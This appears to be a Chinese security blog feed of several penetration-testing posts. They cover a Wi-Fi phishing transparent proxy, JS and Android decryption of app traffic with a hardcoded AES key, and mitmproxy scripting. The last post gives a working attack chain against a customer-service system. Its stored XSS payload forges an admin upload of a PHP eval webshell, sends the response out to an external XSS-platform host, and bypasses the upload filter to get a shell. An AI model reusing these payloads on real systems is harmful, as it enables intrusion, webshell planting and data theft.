跳到主要内容

· 阅读需 9 分钟

前言

在攻防中对APP进行渗透时可能会遇到代理及VPN的检测,以及在近源渗透时可能会有WIFI钓鱼的需求,而透明代理是一个很好的解决方案,利用透明代理可以实现HTTP流量的嗅探和分析。

什么是透明代理

透明代理是顾名思义它是“透明”的代理,“透明”意味着看不见,即代理对于客户端来说是不可见的,客户端不知道自己的流量被代理了,因此在对APP渗透时它就无法检测代理。

透明代理的方式

  1. 在已Root的Android设备上,利用iptables规则将流量进行透明转发,缺点时需要Root。
  2. 购置软路由,直接在路由器上利用iptables规则转发流量,缺点是需要有折腾软路由的经验。
  3. 购置USB无线网卡,将Kali Linux充当路由,利用iptables转发流量,缺点是需要购买兼容Linux的无线网卡,且配置相对复杂。
  4. 在Windows下利用Netch以及无线WIFI共享实现透明代理。

本文主要讲解第四种实现方式,门槛较低配置相对来说比较简单。

前提条件

  1. 一台具备热点共享功能的Windows PC机(笔记本一般都行,台式可购置USB无线网卡)
  2. Windows 10 虚拟机(VMware平台,其他未测试)

操作步骤

Windows 10 虚拟机配置

将网络适配器更改为桥接模式,如果迟迟获取不到IP地址,可以设置静态IP,网段要匹配

在虚拟机中安装Reqable、BurpSuite,安装过程省略

启动Reqable,选择API抓包,点击启动会弹出安装证书,这一步不需要,点击完成再点击启动即可,其中会显示监听IP及端口,图中是192.168.100.204:9000

右键SSL功能,选择全部绕行,目的为了在设备没有安装证书的情况下不影响正常网络,并且可以抓取HTTP流量

安装并配置Netch

从Github下载:Releases · netchx/netch (github.com)

下载完成后运行,并添加Socks服务器

地址和端口填写Reqable监听的即可

模式选择BypassAN

最后点击启动,会出现一个新的虚拟网卡

同时虚拟机中Reqable会出现一个用于检测代理可用性的HTTP请求,到这一步说明代理没问题。

开启热点并共享TUN网卡

开启热点,可以使用windows自带的功能也可以使用Connectify

打开网络适配器管理,将虚拟网卡共享给本地连接(Microsoft Wi-Fi Direct Virtual Adapter)

至此,开启的WIFI热点的流量透明地会走向虚拟机的Reqable,可以查看连接设备的流量,因为没有证书,只能查看并修改HTTP流量,不能查看HTTPS流量的内容。在APP渗透中安装证书后使用二级代理功能可以配合BurpSuite可以进行抓包。

需要注意一点,开热点的笔记本的流量也会被代理,因此需要保证笔记本尽可能减少网络使用。

在设备连接WIFI后,都是可以正常访问网络,因为走了SOCKS5代理,支持大多数网络协议,流量都可以查看,包括IP端口或者域名效果如下:

实现效果

流量嗅探

拦截HTTP流量

利用二级代理通过BurpSuite进行抓包拦截,可实现拦截HTTP流量的效果:

总结

利用本文所实现透明代理方式我们可以更好的对APP进行渗透,并且可以快速开展WIFI近源渗透,开放一个WIFI用于流量嗅探,并且可以诱使目标访问HTTP网站从而修改HTTP流量,还可以配合Kali Linux利用WIFI无线攻击让目标WIFI断网断连,连接至我们开放的钓鱼WIFI。

优点是配置起来相对简单,设备的话基本上一台笔记本就可以满足。缺点是需要占用一定内存,对笔记本配置有较高要求。

参考链接

https://www.sockscap64.com/forums/topic/%e5%b0%86sstap%e8%99%9a%e6%8b%9f%e7%bd%91%e5%8d%a1%e5%85%b1%e4%ba%ab%e7%bb%99%e5%90%8c%e5%b1%80%e5%9f%9f%e7%bd%91%e5%85%b6%e5%ae%83%e7%9a%84%e4%b8%bb%e6%9c%ba%e3%80%81%e6%8e%8c%e6%9c%ba%e3%80%81/

https://xtls.github.io/Xray-docs-next/document/level-2/transparent_proxy/transparent_proxy.html

https://blog.csdn.net/weixin_34348805/article/details/85827287

· 阅读需 10 分钟

0x01 初探网站

网站截图如下:

目前没有账号密码,需要登录才能进一步渗透,那就注册一个,结果发现注册要授权码,还要验证码,沃日!!!

0x02 请求参数分析

一看这请求加密地死死的,头部中还有一些自定义参数,看着头疼

加密请求和响应:

自定义头部参数:

0x03 浏览器调试JS

请求加密过程

打上任何XOR或提取的断点,点击注册:

先一直步过,一边观察JS代码和变量值,寻找加密和解密相关的地方。数次步过后,找到一处关键点,如下:

接着打开WebStorm,新建一个nodejs项目,打开终端安装jsdom模拟简单的浏览器环境,避免部分复制过去的代码报错:

npm install jsdom

前端的加密一般都会采用知名的加密库,最常用的就是CryptoJSJSEncrypt,分别搜索下关键词,确实使用了CryptoJS

复制reqMake的代码至WebStorm,遵循缺啥补啥的原则,md5的话直接用CryptoJS的,其他得去JS里找了:

鼠标悬停可以查看对象里的值,可以跟进函数位置,其中config.vkconfig.ncconfig.aesign都是固定值可以看得到:

定位enP函数位置后发现加密似乎是DES加密,且dnPdnD也都在附近,其中Base64Latin1都属于CryptoJS的组件,直接拿来用就行,其他函数跟进去一并复制到WebStorm

des函数:

des函数中还有一个des_createKeys一并复制:

formatSendData函数同样复制:

reqMake需要格式化一下,需返回加密后的结果已经头部参数,结果通过enD后赋值给u了,c中保存了头部参数,e的话可以去掉没啥用,最终返回一个合适对象就行:

最后根据参数测试一下加密,t是需要加密的请求内容:

响应解密过程

继续回到之前留意的parseResponse,打个断点,点击注册:

可以看到c是整个响应的明文,因此需要返回c,把整个函数复制到WebStorm,稍微改下,删除一些不必要的内容,保留关键部分,如下:

测试一下:

复制对象,并删除一些不需要的属性,模拟一下解密响应

结果如下:

0x04 总结

本文对网站进行了简单的Web逆向,旨在分享一些逆向小技巧,让不熟悉JS逆向的师傅们也能轻松看懂,应对渗透过程中前端加解密,从而挖到更多漏洞,总结以下几点:

  1. 了解基本的JS语法
  2. 学会使用任何XOR或提取的断点,大部分情况都适用
  3. 熟悉浏览器的调试功能,如修改变量值,定位函数
  4. 了解前端常用的加密库
  5. 学习从JS中搜索关键字,从而定位到关键位置

总的来说需要多动手尝试,才能孰能生巧。还望各位师傅们多多点赞转发,没点关注的点点关注,本公众号不发水文,只发干货!

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。

· 阅读需 7 分钟

0x01 使用Reqable抓包

使用Reqable配合JustTrustMe++Xposed模块对App进行抓包,发现响应加密,看起来像Base64AES

没办法只能尝试逆向APP了,用JEB打开一看,竟然混淆了类名和方法名:

直接去找加密逻辑估计够呛,先用算法助手尝试一波解密看看:

0x02 使用算法助手尝试解密

环境:光速虚拟机 + Magisk Delta + LSPosed

勾选对应APP:

一顿操作过后查看算法助手的日志,找到上方抓到的密文了,密钥等信息也有:

0x03 使用JEB定位加密位置

但是依旧解密后乱码,虽然有的显示了一点明文,但估计后面还有一层处理,查看细节可以发现使用的加密类是javax.crypto.*,而这个类使用的加密API是javax.crypto.CipherdoFinal方法,再次使用Jeb全局搜索doFinal查看调用的地方(这里也可以看上方算法助手的调用堆栈也能定位到此处):

40处匹配,经过全部筛选后发现有一处看似网络拦截器的地方调用了doFinal方法:

查看一番果然它对数据进行还进行了GZIP解压缩:

为了验证一下是否如此,决定采用Xposed的方式进行Hook(也可以使用frida),Hooke0.m的第二个参数:

0x04 使用Xposed拦截明文

这里使用的是YukiHookAPI,相对于原始的Xposed API调用更加简介方便。

编写模块:

启动APP开始Hook,成功获取明文:

使用在线网站尝试解密:

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'ecfcgadhgegadgjm'%7D,%7B'option':'Hex','string':'00000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Gunzip()&input=aXNzS01FWkxrSFplTDZYOFh5Q3ErcTZSSnRzM2c3emVnZVMyWHkyVW5yM28veExSeVF3ZXIrTjZsaGZhaVpua3FBbTdGc0s0dUFydHhtbHd5TXhtWVlLUm1ZVnFPbExheS83aERKNWZtc009&oenc=65001

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'ecfcgadhgegadgjm'%7D,%7B'option':'Hex','string':'00000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Gunzip()&input=RytXN0NDNnJIa2VHUlUwVWZCTkRkcWRMdmlFZ1kvQ09GNVhMTWVqVnYxZUhac0N3NDdPcHQrc1hnaFR0SE5sK09iTkpGRU05S2JTWVhORzhHZnkxY2NkYjBiZzhJSnlJRk90WlAzRjFybWRBSWZSMGY1L1Erd3NrWFl5KzNwUHRlWng3bnZ2YnlVbUFMVlcyUHFzRHBVTHBTNlNwVENEaHpOZmRNelB1cmhXWjJRaTY2WXdZOXJDajdqQzZNWDkrL1kyY1RzakpwQk9FUS93R0xyZ05SSlhnTjV5M1Z2WFJnd3FDVjh3WGZjMD0&oenc=65001

使用Python脚本解密:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
import gzip
from io import BytesIO

def decrypt_aes_cbc_pkcs7(key, iv, ciphertext):
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
return decrypted

def main():
while True:
try:
encrypted_data = input("密文: ")
key = b'ecfcgadhgegadgjm'
iv = b'\x00' * 16
encrypted_data = base64.b64decode(encrypted_data)

decrypted_data = decrypt_aes_cbc_pkcs7(key, iv, encrypted_data)
with gzip.GzipFile(fileobj=BytesIO(decrypted_data), mode='rb') as f:
decompressed_data = f.read()

print(decompressed_data.decode('utf-8'))
except Exception as e:
print(e)

if __name__ == "__main__":
main()

到此分析完毕!

0x05 总结

本次APP逆向过程需要熟练各种工具的使用以及环境的配置,如使用Magisk,而大部分人的手机都没有root,所以得使用虚拟环境,也就是光速虚拟机,还有一些诸如ReqableJEB算法助手YukiHookAPI这些大佬开发的工具或者技术,感谢这些大佬们开发的工具,如有需要这些工具可以直接关注公众号发消息,免费提供!

0x06 相关链接

Reqable:https://reqable.com/zh-CN/

算法助手:https://github.com/Xposed-Modules-Repo/com.junge.algorithmaide

YukiHookAPI:https://highcapable.github.io/YukiHookAPI/zh-cn/

JEB:https://www.pnfsoftware.com/

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。

· 阅读需 8 分钟

mitmproxy介绍

mitmproxy是一个开源的中间人代理工具,用于拦截、修改、重播和保存HTTP/HTTPS流量。其名称“Mitm”是“中间人”的缩写,表示它可以作为客户端和服务器之间的中介,允许用户查看和修改流经代理的网络通信。

它与BurpSuite是同类型工具,mitmproxy它具有Web界面和命令行界面,但它最强悍的特点是提供了一系列的Python API,安全人员可以对HTTP/HTTPS流量进行高度定制,并且可以使用Python所具有生态库。

实现原理:mitmproxy可以开启一个HTTP/HTTPS代理,可以使用Python修改经过代理的HTTP流量,实现流量的高度定制。

例如以下两种使用场景:

  • 对请求加密较为复杂的登录表单进行爆破

目前前端的数据传输越来越安全,像诸如CryptJSJSEncrypt等加密库使用的频率越来越高,主要用来对前端请求的数据进行加密以保护数据安全,有时也会携带诸如sign值来保证请求不被篡改。

在对该类表单进行爆破时,传统的BurpSuite加密暂时无法满足要求。当然也存在一些插件可以实现较为复杂的加解密,如jsEncrypter插件,但对于熟悉Python的小伙伴来说,mitmproxy也许更加合适,可以使用mitmproxy提供的Python API对流量进行修改,将为未加密的参数通过使用Python加密库来加密参数实现爆破,如果存在sign值也可尝试查看前端JS来分析是如何生成sign的。

  • 定制Webshell管理器的流量

WebShell管理器的流量通常具有一定特征,部分特征是写死在管理器中的,如果要修改那必须对WebShell管理器进行二开,通常情况下难度较大,使用mitmproxy可以实现对Webshell管理器发出的请求进行修改,让Webshell管理器设置mitmproxy所启用的代理例如将payload放入请求头,这对于mitmproxy是轻而易举的。

本篇文章将对mitmproxy的基本使用教程进行介绍,并且列举常用的一些mitmproxy提供的一些Python API,同时也有对应案例介绍。

使用教程

安装mitmproxy

安装它非常简单,使用pip即可快速安装:

pip install mitmproxy

作为纯python脚本使用还需要安装asyncio

pip install asyncio

安装证书

mitmproxy需要安装证书才能处理HTTPS流量,使用pip安装后,其证书位置在用户目录下的.mitmproxy文件夹当中,安装.cer后缀的证书即可。

基本使用

这是一个最简单的示例Python脚本,只需修改注释部分即可

import asyncio
from mitmproxy.tools.dump import DumpMaster
from mitmproxy import http
from mitmproxy import options

# 监听IP
proxy_server = "0.0.0.0"

# 监听端口
proxy_port = 8082

# 上游代理, 例如走Clash
upstream = "http://127.0.0.1:7890"

# 自定义脚本
class Script:
# 处理请求
def request(self,flow: http.HTTPFlow):
return flow

# 处理响应
def response(self,flow: http.HTTPFlow):
return flow


async def main():
options_ = options.Options(listen_host=proxy_server,listen_port=proxy_port,mode=[f"upstream:{upstream}@{proxy_port}"],ssl_insecure=True)
m = DumpMaster(options_,with_dumper=False,with_termlog=True)
m.addons.add(Script())
print(f"代理服务器: http://{proxy_server}:{proxy_port}/\n上游代理: {upstream}")
await m.run()

# 入口
if __name__ == "__main__":
asyncio.run(main())

常见操作

  • HTTP流量的基本信息
class Script:
def request(self,flow: http.HTTPFlow):
req = flow.request # 从HTTP流中获取请求
req.url # 请求URL
req.method # 请求方法
req.host # 请求host, 例如www.baidu.com
req.path # 请求路径,例如/api/login
req.query['id'] = '1' # 请求路径中的参数
req.headers["name"] = "value" # 请求头
req.cookies["name"] = "value" # cookies
req.text # 获取请求body的文本数据
req.content # 获取请求body原始字节数据
return flow
  • 修改JSON数据
class Script:
def request(self,flow: http.HTTPFlow):
# 从HTTP流中获取请求
req = flow.request
# 添加判断条件
if req.url == "http://example.com/api/login" and req.headers['Content-Type'] == "application/json":
json_data = req.json()
json_data['username'] = "admin"
return flow
  • 修改表单数据
class Script:
def request(self,flow: http.HTTPFlow):
# 从HTTP流中获取请求
req = flow.request
# 添加判断条件
if req.url == "http://example.com/api/login" and req.headers['Content-Type'] == "application/www-form-urlencoded":
req.urlencoded_form['username'] = "admin"
return flow
  • 修改上传的文件
class Script:
def request(self,flow: http.HTTPFlow):
req = flow.request # 从HTTP流中获取请求
if req.url == "http://example.com/api/login" and req.headers['Content-Type'] == "application/www-form-urlencoded":
req.multipart_form[b'username'] = open("filename","rb")
return flow

运行mitmproxy

打开命令行,运行脚本,并将需要的流量设置mitmproxy监听的代理服务器。

python demo.py

案例

这一个基于mitmproxynps未授权利用脚本:

https://github.com/yinsel/nps_auth_key_bypass

原理是通过修改请求参数,达到访问正常nps能够未授权访问的效果。

nps未授权漏洞相关链接:

https://peiqi.wgpsec.org/wiki/webapp/NPS/NPS%20auth_key%20%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E.html

总结

mitmproxy是一个强大的代理工具,可以实现我们平时手工难以做到的事情,但是门槛是需要了解Python的语法,学习Python相对于其他语言来说比较简单,但是需要多动手,多实践,正所谓熟能生巧。

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。

· 阅读需 7 分钟

RedCell-Sec

偶然在一次渗透过程中发现一个客服系统聊天界面发现可以XSS

对发送信息处进行抓包,可在content参数插入xss语句

这是访客前台效果:

这是后台管理的效果:

而且只要客服查看信息,便可以执行XSS语句

然并卵,本来想钓客服的cookie,登录后台,找到shell点,成功getshell(幻想时间),但是经过测试,发现该客服系统的session是受保护的,并不能窃取到cookie

已经决定放弃这个点了,随后在审计源码后,发现了图片上传点

老样子,抓包改后缀

解码得知,不支持php的文件格式

经过一系列尝试之后,并且审计源码规则之后,发现该系统只要检测到了一个类似png的图片格式就会允许上传,所以直接在图片.png后面在加一个.php即可

上传成功!访问一下试试看

鸡,不死心,用哥斯拉连一下试试看

果然还是失败,但是上传了txt文件,发现可以直接访问,所以判断该系统是禁止了用户访问php后缀的文件,所以尝试绕过一番

果然功夫不负有心人,在php文件后加了/,即可绕过,正常访问php后缀的文件

哥斯拉成功连接!

但是,这一切都是基于进入后台后才能通过此功能点上传webshell。。。。

随后联想到了利用XSS可以利用伪造客服发包,进行上马操作,说干就干

直接利用某XSS平台的ajax模块:

修改Content-TypeContent-type","multipart/form-data; boundary=----WebKitFormBoundaryxyMezY4spANQsjZK,POST内容修改为bp的上传shell的数据包载荷,其中function(rs){}是一个ajax异步回调函数,当数据包发送之后调用并将响应体传入rs,在回调函数内加入默认模块将其通过cookie发送至xss平台,从而得到包含了上传的文件路径的响应内容。

其中默认模块需要另外新建项目并勾选默认模块:

访问对应地址得到JS内容:

将默认模块的JS代码加入ajax模块代码结合使用

具体JS代码:

var pkav={
ajax:function(){
var xmlHttp;
try{
xmlHttp=new XMLHttpRequest();
}catch (e){
try{
xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
}catch (e){
try{
xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e){
return false;
}
}
}
return xmlHttp;
},
req:function(url,data,method,callback){
method=(method||"").toUpperCase();
method=method||"GET";
data=data||"";
if(url){
var a=this.ajax();
a.open(method,url,true);
if(method=="POST"){
a.setRequestHeader("Content-type","multipart/form-data; boundary=----WebKitFormBoundaryxyMezY4spANQsjZK");
}
a.onreadystatechange=function(){
if (a.readyState==4 && a.status==200)
{
if(callback){
callback(a.responseText);
}
}
};
if((typeof data)=="object"){
var arr=[];
for(var i in data){
arr.push(i+"="+encodeURIComponent(data[i]));
}
a.send(arr.join("&"));
}else{
a.send(data||null);
}
}
},
get:function(url,callback){
this.req(url,"","GET",callback);
},
post:function(url,data,callback){
this.req(url,data,"POST",callback);
}
};
pkav.post("/admin/event/uploadimg",`------WebKitFormBoundaryxyMezY4spANQsjZK
Content-Disposition: form-data; name="editormd-image-file"; filename="arzs.png.php"
Content-Type: image/png

<?php @eval($_POST['cmd']);?> // 你的webshell
------WebKitFormBoundaryxyMezY4spANQsjZK--`,function(rs){
//填入默认模块
(function() { (new Image()).src = '//uj.ci/bdstatic.com/?callback=jsonp&id=fia&location=' + encodeURIComponent((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&toplocation=' + encodeURIComponent((function() {
try {
return top.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + encodeURIComponent((function() {
try {
//将document.cookie改为rs响应变量,直接用cookie回显
return rs
} catch(e) {
return ''
}
})()) + '&opener=' + encodeURIComponent((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch(e) {
return ''
}
})());
})();

});

填入模块自定义代码中保存即可

复制对应的JS URL构造XSS代码拦截发送:

<a></a>你好<script src=//uj.ci/ace></script>

查看XSS平台回显:

利用上文绕过思路,连接哥斯拉:

成功getshell!!

声明

本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。

转载须知:

如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。

感谢各位师傅们的理解与支持。

本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。